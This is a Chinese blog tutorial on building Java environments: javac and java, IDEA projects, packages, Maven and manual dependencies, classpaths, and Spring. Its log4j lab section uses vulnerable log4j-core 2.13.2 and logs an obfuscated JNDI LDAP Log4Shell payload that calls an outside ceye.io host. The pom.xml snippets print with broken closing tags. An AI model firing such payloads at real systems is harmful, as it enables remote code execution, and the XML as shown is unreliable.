学习工作中经常会遇到java相关的项目工程, 本篇文章主要是想分享一下如何搭建一个java环境。
其实我在接触java项目的过程中,最直接的阻碍,并不是java语法的理解, 也不是框架的使用,这些直接网上查询就可以得到。 但是对于java项目如何搭建起来的,如果运行的,或者是如何添加项目依赖的,这些确实是让java初学者比较头痛。
触发我写这篇文章的一个最直接的应用场景是:
在遇到一个简单的源码审计问题的时候,只有源代码,不提供依赖,这个时候如何在项目中引入依赖,然后把代码在本地跑起来,这样就可以调试并快速审计或定位问题了。
这篇文章主要关注以下场景的问题:
顺便提一下,对笔者自己来说,引入java外部依赖是个难题。 之前有过c++ 和python 相关的项目经历,在实际应用中,搭建c++,python环境都比较容易,引入外部依赖也比较方便。
注意: 文件名要和类名要保持一致,否则会编译出错
, 但是我们知道在c++和python 中都没有这样的限制。public class HelloJava{
public static void main(String[] args) {
System.out.println("Nice to meet you!");
}
}
static 表示这是一个静态方法,允许调用main()方法, 无需创建类的实例即可运行。
main()是所有的程序的入口,最先开始执行。
执行下面命令,可以编译成一个符合java虚机机规范的字节码文件: HelloJava.class。
javac HelloJava.java
.class
去掉。java HelloJava
上面我们学习了使用java命令行来编译运行java程序,这是最基础的执行步骤。但是在我们的日常开发中,项目通常会在一个集成开发环境中完成,下面我们学习一下如何在IDEA新建一个简单的java工程项目。
打开idea–> File-> New-> Project
选择创建一个简单的java项目, 在Project sdk
中选择自己提前下载安装好的jdk路径
点击继续, project name 可以自己定义,例如 demo.
成功创建一个java项目后, 项目下有idea和src两个目录,我们主要在src目录下操作。在src目录新建一个包package, 然后新建一个HelloJava类, 然后点击运行,即可观察到结果。
package aaa.bbb;
public class HelloJava{
public static void main(String[] args) {
System.out.println("Nice to meet you!");
}
}
知识点: 什么是package?
其实对于初学者,可能会使用不到package, 因为我们刚开始学习的时候,一般都是几个简单的类文件,我们稍微注意一下,就不会导致类名冲突这样的问题。但是,随着工程的不断扩大, 我们可能会遇到这样的场景:
这个时候,我们就可以使用package了。
包允许将类组合成较小的单元(类似文件夹),它基本上隐藏了类,并避免了名称上的冲突。包允许在更广泛的范围内保护类、数据和方法。你可以在包内定义类,而在包外的代码不能访问该类。这使你的类相互之间有隐私,但不被其他世界所知。
包的作用如下:
区分相同名称的类。
能够较好地管理大量的类。
控制访问范围。
包(package)的使用要点如下:
.
分隔import example.MyClass;
import example.*;
加入我们遇到下面的场景:
为了验证log4j的漏洞, 我们想搭建一个简单的log4j靶场环境。 这里,我们介绍两种方法来引入log4j的外部依赖环境: 1. 手工下载log4j的jar包并引入; 2.通过maven环境引入log4j依赖;
创建maven工程 : File > new > project > Maven > 创建项目名称为log4j_test
IDEA会生成项目, 其中有pom.xml文件, 初始内容状态为:
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0modelVersion>
<groupId>org.examplegroupId>
<artifactId>log4j_testartifactId>
<version>1.0-SNAPSHOTversion>
<properties>
<maven.compiler.source>8maven.compiler.source>
<maven.compiler.target>8maven.compiler.target>
properties>
project>
如果我们想加入log4j的jar依赖,我们需要添加:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.13.2version>
dependency>
dependencies>
然后,我们就可以愉快的引入log4j的外部依赖了, 我们可以编辑代码来实现自己的需求。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test1{
private static final Logger logger = LogManager.getLogger(org.apache.logging.log4j.Logger.class);
public static void main(String[] args) {
logger.error("hello world asdf.");
logger.error("$${lookupName:key:${lower:env}}");
logger.error("${env:aaa:-444444}");
logger.error("${base64:SGVsbG8gV29ybGQhCg==}");
logger.error("${log4j:configParentLocation}");
logger.error("$${lower:{${java:os}}");
logger.error("${upper:DhhASD}");
logger.error("${java:os}");
logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");
}
}
<dependency>
<groupId>org.apache.logging.log4jgroupId>
<artifactId>log4j-coreartifactId>
<version>2.12.3version>
dependency>
上面我们介绍了使用maven的方式来引入外部依赖,但是其实我们也可以手工下载jar包,然后手工引入, 这样其实就不需要使用maven项目了, 下面我们来实践一下。
访问maven中央仓,并搜索下载自己想要的jar包到本地。
下面我们就需要在IDEA中配置引入下载的jar包了, 具体步骤如下
点击 file > Project Structure > Modules > 点击+ > JARs or Directories > 添加存放自己下载jar包的路径
3. 下面我们就可以在工程项目中引用这个jar包的外部依赖了
假如遇到如下的场景:
windows 下写了一个java类并编译成class文件,现在想把这个程序放到linux下执行。但是我在程序中引入了外部依赖, 这样的话,由于缺少外部依赖,是无法直接在linux中运行的。
问题一: 如何在运行java程序时候,命令行指定依赖:
可以使用如下的示例:(个人理解绝对路径和相对路径都是可以的)
java -cp .:绝对路径1.jar:绝对路径2.jar 全限定类名(此类有main方法)
java -cp other.jar:demo-0.0.1-SNAPSHOT.jar com.javapc.demo.test.Test
问题二: 如何在编译的时候指定依赖
javac -cp 绝对路径1.jar:绝对路径2.jar java文件名.java
我们在上文介绍了创建java项目以及引入依赖的通用方法。在实际的web项目中,spring框架的使用还是非常常见的, 下面介绍下spring项目的搭建方法,spring 项目中一般会使用maven来管理外部依赖。
New > Project > 选中Maven
右击项目 > Add FrameWork Support > 添加一下spring 框架支持。
对于spring相关依赖,可以在pom.xml中按需加入,比如:
<dependencies>
<dependency>
<groupId>org.springframeworkgroupId>
<artifactId>spring-contextartifactId>
<version>4.2.6.RELEASEversion>
dependency>
<dependency>
<groupId>org.springframeworkgroupId>
<artifactId>spring-webmvcartifactId>
<version>4.3.0.RELEASEversion>
dependency>
dependencies>
package net.biancheng.c;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class MainApp {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = context.getBean("helloWorld", HelloWorld.class);
obj.getMessage();
System.out.println(System.getProperty("user.dir"));
}
}
我们有可能后遇到这样的一个场景:
我们拿到了一个spring项目的源码,pom.xml文件可能是缺失的,我们需要使用IDEA搭建可运行环境用于调试。
我们可以采取如下的步骤:
可能会遇到以下问题:
spring 依赖版本需要匹配一致,否则会无法运行。
找不到类,对应的保存可以网上搜索解决
动手实践了以上的java项目搭建过程,就熟悉了java项目开发流程。 这样,我们可以快速的调试运行起来其他人开发的项目,也可以快速的自己搭建环境进行java开发。
参考资料:
http://c.biancheng.net/view/5611.html
https://blog.csdn.net/weixin_45987729/article/details/124216168
http://c.biancheng.net/view/6084.html
https://juejin.cn/post/6954950905909215268
https://www.jianshu.com/p/4bff72c7e71b